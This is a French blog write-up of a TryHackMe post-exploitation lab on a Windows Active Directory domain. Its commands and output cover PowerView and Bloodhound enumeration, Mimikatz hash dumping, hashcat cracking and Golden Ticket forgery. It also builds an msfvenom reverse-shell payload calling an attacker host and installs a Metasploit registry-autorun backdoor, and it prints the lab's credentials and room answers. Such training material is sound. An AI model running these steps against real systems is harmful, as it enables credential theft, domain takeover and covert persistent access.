Post

TryHackMe - Post Exploitation Basics

Write-up de la room Post Exploitation Basics où l'on apprend les bases de la post-exploitation et du maintien d'accès avec Mimikatz, Bloodhound, PowerView et Msfvenom.

TryHackMe - Post Exploitation Basics

Informations sur la room

Cette room propose une introduction approfondie à la post-exploitation, c’est-à-dire les techniques à utiliser après s’être introduit dans un système pour énumérer les ressources, extraire les informations sensibles et maintenir l’accès.

Lien : Post Exploitation Basics

Objectifs d’apprentissage

Cette room couvre les compétences suivantes :

  • Énumération de domaine Active Directory avec PowerView
  • Cartographie réseau avec Bloodhound
  • Extraction de credentials avec Mimikatz
  • Attaques Golden Ticket
  • Création de backdoors avec Msfvenom
  • Maintien de l’accès avec le module Persistence de Metasploit

Solutions des tâches

Task 1 - Introduction

Aperçu de la room

Cette room couvre l’ensemble du cycle de post-exploitation :

  1. Énumération : PowerView et Bloodhound pour cartographier le domaine Active Directory
  2. Extraction de credentials : Mimikatz pour dumper les hashes et créer des Golden Tickets
  3. Collecte d’informations : Utilisation des outils Windows natifs et des journaux d’événements
  4. Maintien d’accès : Module Persistence de Metasploit et création de backdoors

La post-exploitation est une phase critique qui permet de consolider l’accès initial, d’élever les privilèges et de maintenir la persistance sur le système compromis.

Démarrez la machine cible pour commencer les exercices.


Task 2 - Enumeration w/ PowerView

Informations de connexion

Credentials SSH fournis :

  • Nom d’utilisateur : Administrator
  • Mot de passe : P@$$W0rd
  • Nom de domaine : CONTROLLER

Qu’est-ce que PowerView ?

PowerView est un puissant script PowerShell permettant d’énumérer les domaines Active Directory après avoir obtenu l’accès à un shell Windows.

Connexion SSH au système cible :

1
2
3
4
5
6
7
8
9
10
11
root@ip-10-10-124-7:~# ssh Administrator@10.10.52.67
The authenticity of host '10.10.52.67 (10.10.52.67)' can't be established.
ECDSA key fingerprint is SHA256:jGGFsdyc6+usho+SGSQoG+3agPMuI+Y0SYylUJfLP8s.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.52.67' (ECDSA) to the list of known hosts.
Administrator@10.10.52.67's password: 

Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

controller\administrator@DOMAIN-CONTROLL C:\Users\Administrator>

Une fois connecté, nous sommes dans le shell Windows : C:\Users\Administrator>


Configuration de PowerView

Étape 1 : Démarrer PowerShell avec contournement de la politique d’exécution

1
2
3
4
5
controller\administrator@DOMAIN-CONTROLL C:\Users\Administrator>powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator>

L’option -ep bypass permet de contourner la politique d’exécution PowerShell, autorisant l’exécution de scripts non signés.

Étape 2 : Charger le script PowerView

1
PS C:\Users\Administrator> . .\Downloads\PowerView.ps1

Énumération du domaine

Énumération des utilisateurs du domaine :

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Users\Administrator> Get-NetUser | select cn

cn
--
Administrator
Guest
krbtgt
Machine-1
Admin2
Machine-2
SQL Service
POST{P0W3RV13W_FTW}
sshd

Énumération des groupes administrateurs :

1
2
3
4
5
6
7
8
9
10
11
PS C:\Users\Administrator> Get-NetGroup -GroupName *admin*

Administrators 
Hyper-V Administrators
Storage Replica Administrators
Schema Admins
Enterprise Admins
Domain Admins
Key Admins
Enterprise Key Admins
DnsAdmins

Pour plus de commandes PowerView utiles, consultez ce gist de HarmJ0y : PowerView Cheat Sheet


Questions et résolutions

Question 1 : What is the shared folder that is not set by default?

Pour identifier les partages réseau non-standard, j’ai utilisé la commande Invoke-ShareFinder :

1
2
3
4
5
6
7
8
PS C:\Users\Administrator> Invoke-ShareFinder

\\Domain-Controller.CONTROLLER.local\ADMIN$     - Remote Admin
\\Domain-Controller.CONTROLLER.local\C$         - Default share
\\Domain-Controller.CONTROLLER.local\IPC$       - Remote IPC
\\Domain-Controller.CONTROLLER.local\NETLOGON   - Logon server share
\\Domain-Controller.CONTROLLER.local\Share      -
\\Domain-Controller.CONTROLLER.local\SYSVOL     - Logon server share

Le partage “Share” n’est pas un partage système par défaut.

Réponse : Share


Question 2 : What operating system is running inside of the network besides Windows Server 2019?

Pour lister les systèmes d’exploitation du réseau :

1
2
3
4
5
6
7
PS C:\Users\Administrator> Get-NetComputer -fulldata | select operatingsystem

operatingsystem
---------------
Windows Server 2019 Standard
Windows 10 Enterprise Evaluation
Windows 10 Enterprise Evaluation

Réponse : Windows 10 Enterprise Evaluation


Question 3 : I’ve hidden a flag inside of the users find it

Le flag était visible lors de l’énumération des utilisateurs avec Get-NetUser :

1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Users\Administrator> Get-NetUser | select cn

cn
--
Administrator
Guest
krbtgt
Machine-1
Admin2
Machine-2
SQL Service
POST{P0W3RV13W_FTW}
sshd

Réponse : POST{P0W3RV13W_FTW}


Task 3 - Enumeration w/ Bloodhound

Introduction à Bloodhound

Bloodhound est une interface graphique permettant de cartographier visuellement un réseau Active Directory. Associé à SharpHound (équivalent de PowerView pour la collecte de données), il récupère les utilisateurs, groupes, relations de confiance, etc., et génère des fichiers JSON exploitables dans Bloodhound.

Collecte de données avec SharpHound

SharpHound est déjà présent sur la machine cible. Lançons la collecte :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PS C:\Users\Administrator> . .\Downloads\SharpHound.ps1
PS C:\Users\Administrator> Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip

------------------------------------------------
Initializing SharpHound at 5:50 AM on 10/18/2025
------------------------------------------------

Resolved Collection Methods: Group, Sessions, LoggedOn, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container

[+] Creating Schema map for domain CONTROLLER.LOCAL using path CN=Schema,CN=Configuration,DC=CONTROLLER,DC=LOCAL
[+] Cache File not Found: 0 Objects in cache

[+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) -- Using 113 MB RAM
Status: 66 objects finished (+66 66)/s -- Using 118 MB RAM
Enumeration finished in 00:00:01.2296558
Compressing data to C:\Users\Administrator\20251018055052_loot.zip
You can upload this file directly to the UI

SharpHound Enumeration Completed at 5:50 AM on 10/18/2025! Happy Graphing!

Transfert du fichier loot.zip

Utilisation de SCP pour transférer le fichier vers la machine attaquante :

1
2
3
root@ip-10-10-246-65:~# scp Administrator@10.10.52.67:20251018055052_loot.zip 20251018055052_loot.zip
Administrator@10.10.52.67's password:
20251018055052_loot.zip                                  100%  8532   1.2MB/s   00:00

La commande scp s’exécute depuis la machine attaquante, pas depuis la session SSH cible.


Analyse avec Bloodhound

Lancement de Bloodhound sur la machine attaquante :

1
root@ip-10-10-246-65:~# bloodhound

Interface Bloodhound :

Bloodhound Interface

Import du fichier loot.zip :

Cliquez sur l’icône de téléchargement (upload) et sélectionnez le fichier loot.zip.


Questions et résolutions

Question 1 : What service is also a domain admin?

Dans Bloodhound, utilisez les requêtes prédéfinies pour identifier les comptes de service avec des privilèges de Domain Admin.

Domain Admin Service

Réponse : SQLSERVICE


Question 2 : What two users are Kerberoastable?

Utilisez la requête “Find all Kerberoastable Users” dans Bloodhound.

Kerberoastable Users

Les comptes Kerberoastables sont des cibles privilégiées car leurs hashes peuvent être extraits et crackés hors ligne.

Réponse : SQLSERVICE,KRBTGT


Task 4 - Dumping hashes w/ Mimikatz

Introduction à Mimikatz

Mimikatz est un outil de post-exploitation extrêmement puissant, principalement utilisé pour extraire les credentials des utilisateurs dans un environnement Active Directory.

Lancement de Mimikatz :

1
2
3
4
5
6
7
8
9
10
PS C:\Users\Administrator\Downloads> .\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 May  2 2020 16:23:51
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz #

Vérification des privilèges

Vérifier que Mimikatz s’exécute avec les privilèges administrateur :

1
2
mimikatz # privilege::debug
Privilege '20' OK

Si vous voyez Privilege '20' OK, Mimikatz s’exécute correctement avec les privilèges administrateur nécessaires.


Extraction des hashes

Dump des hashes avec LSA (Local Security Authority) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
mimikatz # lsadump::lsa /patch
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166

RID  : 000001f4 (500)
User : Administrator
LM   :
NTLM : 2777b7fec870e04dda00cd7260f7bee6

RID  : 000001f5 (501)
User : Guest
LM   :
NTLM :

RID  : 000001f6 (502)
User : krbtgt
LM   :
NTLM : 5508500012cc005cf7082a9a89ebdfdf

RID  : 0000044f (1103)
User : Machine1
LM   :
NTLM : 64f12cddaa88057e06a81b54e73b949b

RID  : 00000451 (1105)
User : Admin2
LM   :
NTLM : 2b576acbe6bcfda7294d6bd18041b8fe

RID  : 00000452 (1106)
User : Machine2
LM   :
NTLM : c39f2beb3d2ec06a62cb887fb391dee0

RID  : 00000453 (1107)
User : SQLService
LM   :
NTLM : f4ab68f27303bcb4024650d8fc5f973a

RID  : 00000454 (1108)
User : POST
LM   :
NTLM : c4b0e1b10c7ce2c4723b4e2407ef81a2

RID  : 00000457 (1111)
User : sshd
LM   :
NTLM : 2777b7fec870e04dda00cd7260f7bee6

RID  : 000003e8 (1000)
User : DOMAIN-CONTROLL$
LM   :
NTLM : add85c23b40ea2f82d1401e93afecf2c

RID  : 00000455 (1109)
User : DESKTOP-2$
LM   :
NTLM : 3c2d4759eb9884d7a935fe71a8e0f54c

RID  : 00000456 (1110)
User : DESKTOP-1$
LM   :
NTLM : 7d33346eeb11a4f12a6c201faaa0d89a

Cracking des hashes avec Hashcat

Préparation du fichier de hash :

1
echo "64f12cddaa88057e06a81b54e73b949b" > hash.txt

Cracking avec Hashcat :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
┌──(omnimessie㉿omnimessie)-[~]
└─$ hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-12th Gen Intel(R) Core(TM) i5-12450HX, 2187/4374 MB (1024 MB allocatable), 6MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 513 MB (2155 MB free)

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 0 secs

64f12cddaa88057e06a81b54e73b949b:Password1

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: 64f12cddaa88057e06a81b54e73b949b
Time.Started.....: Sat Oct 18 11:03:05 2025 (0 secs)
Time.Estimated...: Sat Oct 18 11:03:05 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 129.3 kH/s (0.21ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 6144/14344385 (0.04%)
Rejected.........: 0/6144 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -> iheartyou
Hardware.Mon.#01.: Util: 14%

Started: Sat Oct 18 11:02:40 2025
Stopped: Sat Oct 18 11:03:05 2025

Questions et résolutions

Question 1 : What is the Machine1 Password?

Le hash a été cracké avec succès : 64f12cddaa88057e06a81b54e73b949b:Password1

Réponse : Password1


Question 2 : What is the Machine2 Hash?

Le hash de Machine2 est visible dans la sortie de Mimikatz.

Réponse : c39f2beb3d2ec06a62cb887fb391dee0


Task 5 - Golden Ticket Attacks w/ Mimikatz

Qu’est-ce qu’une attaque Golden Ticket ?

Une attaque Golden Ticket exploite le compte Kerberos Ticket Granting Ticket (krbtgt) pour créer des tickets Kerberos valides qui donnent un accès illimité au domaine.

Extraction du hash krbtgt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166

RID  : 000001f6 (502)
User : krbtgt

 * Primary
    NTLM : 5508500012cc005cf7082a9a89ebdfdf
    LM   :
  Hash NTLM: 5508500012cc005cf7082a9a89ebdfdf
    ntlm- 0: 5508500012cc005cf7082a9a89ebdfdf
    lm  - 0: 372f405db05d3cafd27f8e6a4a097b2c

 * WDigest
    01  49a8de3b6c7ae1ddf36aa868e68cd9ea
    02  7902703149b131c57e5253fd9ea710d0
    03  71288a6388fb28088a434d3705cc6f2a
    [...]

 * Kerberos
    Default Salt : CONTROLLER.LOCALkrbtgt
    Credentials
      des_cbc_md5       : 64ef5d43922f3b5d

 * Kerberos-Newer-Keys
    Default Salt : CONTROLLER.LOCALkrbtgt
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 8e544cabf340db750cef9f5db7e1a2f97e465dffbd5a2dc64246bda3c75fe53d
      aes128_hmac       (4096) : 7eb35bddd529c0614e5ad9db4c798066
      des_cbc_md5       (4096) : 64ef5d43922f3b5d

 * NTLM-Strong-NTOWF
    Random Value : 666caaaaf30081f30211bd7fa445fec4

Informations critiques extraites :

Mimikatz Critical Info

  • Hash NTLM krbtgt : 5508500012cc005cf7082a9a89ebdfdf
  • SID du domaine : S-1-5-21-849420856-2351964222-986696166

Création du Golden Ticket

Syntaxe de la commande :

1
kerberos::golden /user:<USERNAME> /domain:<DOMAIN> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /id:<USER_RID>

Création du ticket :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mimikatz # kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500

User      : Administrator
Domain    : controller.local (CONTROLLER)
SID       : S-1-5-21-849420856-2351964222-986696166
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 5508500012cc005cf7082a9a89ebdfdf - rc4_hmac_nt
Lifetime  : 10/18/2025 8:15:36 AM ; 10/16/2035 8:15:36 AM ; 10/16/2035 8:15:36 AM
-> Ticket : ticket.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

Le Golden Ticket créé est valide pendant 10 ans, offrant une persistance extrême sur le domaine.


Utilisation du Golden Ticket

Ouverture d’une invite de commande avec privilèges élevés :

1
2
mimikatz # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7C43943B8

Cette commande ouvre une nouvelle interface de commande avec accès complet à toutes les machines du domaine grâce au Golden Ticket.


Task 6 - Enumeration w/ Server Manager

Énumération avec les outils Windows natifs

Les serveurs Windows disposent d’outils intégrés permettant l’énumération sans nécessiter d’outils externes. Le Server Manager est particulièrement utile pour :

  • Modifier les relations de confiance
  • Gérer les utilisateurs et groupes
  • Consulter les événements système
  • Accéder aux configurations réseau

L’utilisation d’outils natifs Windows réduit les risques de détection par les solutions EDR (Endpoint Detection and Response).


Questions et résolutions

Question 1 : What tool allows to view the event logs?

Dans la machine Windows (accessible via l’interface TryHackMe), naviguez vers le menu Tools et identifiez l’outil de gestion des journaux d’événements.

Réponse : Event Viewer


Question 2 : What is the SQL Service password?

Dans l’application Active Directory Users and Computers :

  1. Naviguez vers l’onglet Users
  2. Localisez l’utilisateur SQL Service
  3. Le mot de passe est visible dans les propriétés du compte

Réponse : MYpassword123#


Task 7 - Maintaining Access

Introduction au maintien d’accès

Le maintien d’accès garantit la persistance sur un système même après redémarrage ou déconnexion. Cette section couvre la création d’une backdoor avec Msfvenom et le module Persistence de Metasploit.

Génération du payload

Template Msfvenom :

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<YOUR_IP> LPORT=<YOUR_PORT> -f exe -o shell.exe

Génération du payload :

1
2
3
4
5
6
7
8
9
┌──(omnimessie㉿omnimessie)-[~]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.43.133 LPORT=4444 -f exe -o shell.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe

Transfert du payload

Transfert via SCP :

1
2
3
4
┌──(omnimessie㉿omnimessie)-[~]
└─$ scp shell.exe Administrator@10.10.52.67:shell.exe
Administrator@10.10.52.67's password:
shell.exe                                                100%   72KB   1.2MB/s   00:00

Configuration du handler Metasploit

Démarrage du handler multi/handler :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > show options

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

Configuration du payload :

1
2
3
4
5
6
7
8
9
10
11
12
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set LHOST 10.10.43.133
LHOST => 10.10.43.133

msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.43.133:4444

Exécution du payload

Sur la machine Windows cible, exécutez le fichier shell.exe.

Résultat sur la machine attaquante :

1
2
3
4
[*] Sending stage (175686 bytes) to 10.10.52.67
[*] Meterpreter session 1 opened (10.10.43.133:4444 -> 10.10.52.67:51040)

meterpreter >

Configuration du module Persistence

Chargement du module :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
meterpreter > background
[*] Backgrounding session 1...

msf6 > use exploit/windows/local/persistence

msf6 exploit(windows/local/persistence) > show options

Module options (exploit/windows/local/persistence):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DELAY     10               yes       Delay in seconds for persistent payload to run
   EXE_NAME                   no        Executable name
   PATH                       no        Path to write payload
   REG_NAME                   no        Registry key name
   SESSION                    yes       The session to run this module on
   STARTUP   USER             yes       Startup type for persistent payload
   VBS_NAME                   no        VBS file name

Configuration et exécution :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
msf6 exploit(windows/local/persistence) > set SESSION 1
SESSION => 1

msf6 exploit(windows/local/persistence) > sessions

Active sessions
===============

  Id  Name  Type                     Information                                 Connection
  --  ----  ----                     -----------                                 ----------
  1         meterpreter x86/windows  CONTROLLER\Administrator @ DOMAIN-CONTROLL  10.10.43.133:4444 -> 10.10.52.67:51040

msf6 exploit(windows/local/persistence) > run

[*] Running persistent module against DOMAIN-CONTROLL via session ID: 1
[+] Persistent VBS script written on DOMAIN-CONTROLL to C:\Users\Administrator\AppData\Local\Temp\YxIEZTyvWunr.vbs
[*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\HJvDPa
[+] Installed autorun on DOMAIN-CONTROLL as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\HJvDPa
[*] Clean up Meterpreter RC file: /home/omnimessie/.msf4/logs/persistence/DOMAIN-CONTROLL_20251018.2128/DOMAIN-CONTROLL_20251018.2128.rc

Le module Persistence crée une backdoor permanente qui survit aux redémarrages système en s’ajoutant aux clés de registre de démarrage automatique.

Fonctionnement de la persistance :

  • Un script VBS est créé dans le dossier Temp de l’utilisateur
  • Une clé de registre de démarrage automatique est ajoutée (HKCU\Software\Microsoft\Windows\CurrentVersion\Run)
  • À chaque démarrage système, le script VBS s’exécute automatiquement
  • Le payload Meterpreter se connecte au handler toutes les 10 secondes (configurable)

Récupération de l’accès après redémarrage :

Si le système redémarre ou si la session est perdue, il suffit de relancer le handler multi/handler avec les mêmes paramètres pour récupérer automatiquement une nouvelle session Meterpreter.

1
2
3
4
5
6
7
8
9
10
11
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.43.133
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.43.133:4444
[*] Sending stage (175686 bytes) to 10.10.52.67
[*] Meterpreter session 2 opened (10.10.43.133:4444 -> 10.10.52.67:52145)

meterpreter >

La backdoor de persistance garantit un accès permanent au système compromis, même après des redémarrages ou des mises à jour système, tant que le mécanisme de persistance n’est pas détecté et supprimé.


Task 8 - Conclusion

Récapitulatif des compétences acquises

Félicitations ! Vous avez complété cette room sur les bases de la post-exploitation. Vous maîtrisez maintenant :

Énumération Active Directory :

  • Utilisation de PowerView pour énumérer les utilisateurs, groupes et partages
  • Cartographie réseau avec Bloodhound et SharpHound
  • Identification des comptes à privilèges et des cibles Kerberoastables

Extraction de credentials :

  • Dump de hashes NTLM avec Mimikatz
  • Cracking de hashes avec Hashcat
  • Compréhension de la structure des hashes Windows

Attaques avancées :

  • Création de Golden Tickets avec Mimikatz
  • Exploitation du compte krbtgt pour un accès domaine complet
  • Élévation de privilèges et mouvement latéral

Maintien d’accès :

  • Génération de payloads personnalisés avec Msfvenom
  • Utilisation du module Persistence de Metasploit
  • Création de backdoors permanentes

Outils Windows natifs :

  • Énumération avec Server Manager
  • Analyse des journaux d’événements avec Event Viewer
  • Gestion Active Directory avec les outils intégrés

Prochaines étapes

Pour continuer votre apprentissage en post-exploitation :

  • Explorez les modules post-exploitation avancés de Metasploit
  • Pratiquez les techniques d’évasion antivirus
  • Approfondissez vos connaissances sur Kerberos et les attaques associées
  • Étudiez les techniques de mouvement latéral dans Active Directory
  • Apprenez à détecter et à vous défendre contre ces techniques

Room complétée

This post is licensed under CC BY 4.0 by the author.